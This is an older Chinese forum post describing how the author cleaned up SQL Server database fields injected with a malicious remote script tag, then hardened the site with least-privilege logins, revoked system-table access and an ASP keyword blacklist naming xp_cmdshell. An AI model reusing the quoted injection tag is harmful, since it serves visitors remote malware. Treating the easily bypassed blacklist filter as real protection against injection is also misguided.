找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 3430|回复: 0

[安全] 关于SQL SERVER做数据库的网站容易被挂马的处理

[复制链接]
天子门生 发表于 2009-6-2 18:04:31 | 显示全部楼层 |阅读模式
症状:客户端访问网站一些页面时,浏览器状态栏出现类似不正常的其他网址。客户端电脑CPU占用正常,但是PF页面内存不断上升到1G以上,机器巨慢。

第一感觉就是网站被挂马了。马上去服务器查看,发现很多表的一些字段里,在内容后面被加了一段JS代码,例如“<script src=http://3b3.org/c.js></script>”。黎叔感到很生气,后果非常严重。于是先清除这些非法代码,使用SQL命令如下(也就是替换非法代码为空):
update table set field=replace(field,'<script src=http://3b3.org/c.js></script>','')

所有表处理完以后,开始对服务器进行免疫处理了,上网四处溜达,并结合自己的领悟,进行如下处理:

1、网站中进行数据库连接,千万不要用sa用户,因为sa就是一个超级用户。我们可以另外建立一个用户,操作步骤是:打开SQL Server Management Studio,进入“安全性/登陆名”,新建立一个用户,名为test并设置访问密码;“服务器角色”什么都不赋;“用户映射”处在需要操作的数据库那里打钩,并且下面的角色成员身份处,选择public和db_owner即可;

2、public组默认能查看一些系统表的权限,而很多挂马的容易利用sysobjects等系统表,因此需要把这些系统表的查看权限从public里移除,操作如下:

use [数据库名]
GO
REVOKE Select ON [sys].[sysfiles] TO [public]
REVOKE Select ON [sys].[sysobjects] TO [public]
REVOKE Select ON [sys].[syscolumns] TO [public]
REVOKE Select ON [sys].[objects] TO [public]
REVOKE Select ON [sys].[system_columns] TO [public]
REVOKE Select ON [sys].[systypes] TO [public]
REVOKE Select ON [sys].[sysusers] TO [public]
REVOKE Select ON [sys].[tables] TO [public]
REVOKE Select ON [sys].[views] TO [public]
GO

以后需要时可以恢复的,恢复方法如下:

use [数据库名]
GO
GRANT Select ON [sys].[sysfiles] TO [public]
GRANT Select ON [sys].[sysobjects] TO [public]
GRANT Select ON [sys].[syscolumns] TO [public]
GRANT Select ON [sys].[objects] TO [public]
GRANT Select ON [sys].[system_columns] TO [public]
GRANT Select ON [sys].[systypes] TO [public]
GRANT Select ON [sys].[sysusers] TO [public]
GRANT Select ON [sys].[tables] TO [public]
GRANT Select ON [sys].[views] TO [public]
GO

3、过滤掉一些危险的关键字,包括单引号、update、select、insert、delete、xp_cmdshell等几个比较关键的危险词。具体做法是在引用数据库连接前加上过滤语句,对Form、QueryString、Cookies提交的数据进行过滤,如下:

dim SQL_injdata
SQL_injdata = "'|insert|select|delete|update|truncate|declare|script|xp_cmdshell"
SQL_inj = split(SQL_Injdata,"|")
If  Request.QueryString<>"" Then
   For Each SQL_Get In Request.QueryString
       For SQL_Data=0 To Ubound(SQL_inj)
            If Instr(LCase(Request.QueryString(SQL_Get)),SQL_inj(SQL_Data))<>0 Then
         if SQL_inj(SQL_DATA)<>"'" then
                  Response.Write "<Script Language=JavaScript>alert('请去掉字符:"&SQL_inj(SQL_DATA)&"再提交!');javascript:history.go(-1)</Script>"
      else
                  Response.Write "<Script Language=JavaScript>alert('请去掉单引号再提交!');javascript:history.go(-1)</Script>"
      end if
               Response.end
           end if
       next
   Next
End If
If Request.Form<>"" Then
   For Each SQL_Post In Request.Form
       For SQL_Data=0 To Ubound(SQL_inj)
           if instr(LCase(Request.Form(SQL_Post)),Sql_Inj(SQL_Data))<>0 Then
         if SQL_inj(SQL_DATA)<>"'" then
                  Response.Write "<Script Language=JavaScript>alert('请去掉字符:"&SQL_inj(SQL_DATA)&"再提交!');javascript:history.go(-1)</Script>"
      else
                  Response.Write "<Script Language=JavaScript>alert('请去掉单引号再提交!');javascript:history.go(-1)</Script>"
      end if
               Response.end
           end if
       next
   Next
End If
If Request.Cookies<>"" Then
   For Each SQL_Cook In Request.Cookies
       For SQL_Data=0 To Ubound(SQL_inj)
           if instr(LCase(Request.Cookies(SQL_Cook)),Sql_Inj(SQL_Data))<>0 Then
         if SQL_inj(SQL_DATA)<>"'" then
                  Response.Write "<Script Language=JavaScript>alert('请去掉字符:"&SQL_inj(SQL_DATA)&"再提交!');javascript:history.go(-1)</Script>"
      else
                  Response.Write "<Script Language=JavaScript>alert('请去掉单引号再提交!');javascript:history.go(-1)</Script>"
      end if
               Response.end
           end if
       next
   Next
End If
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表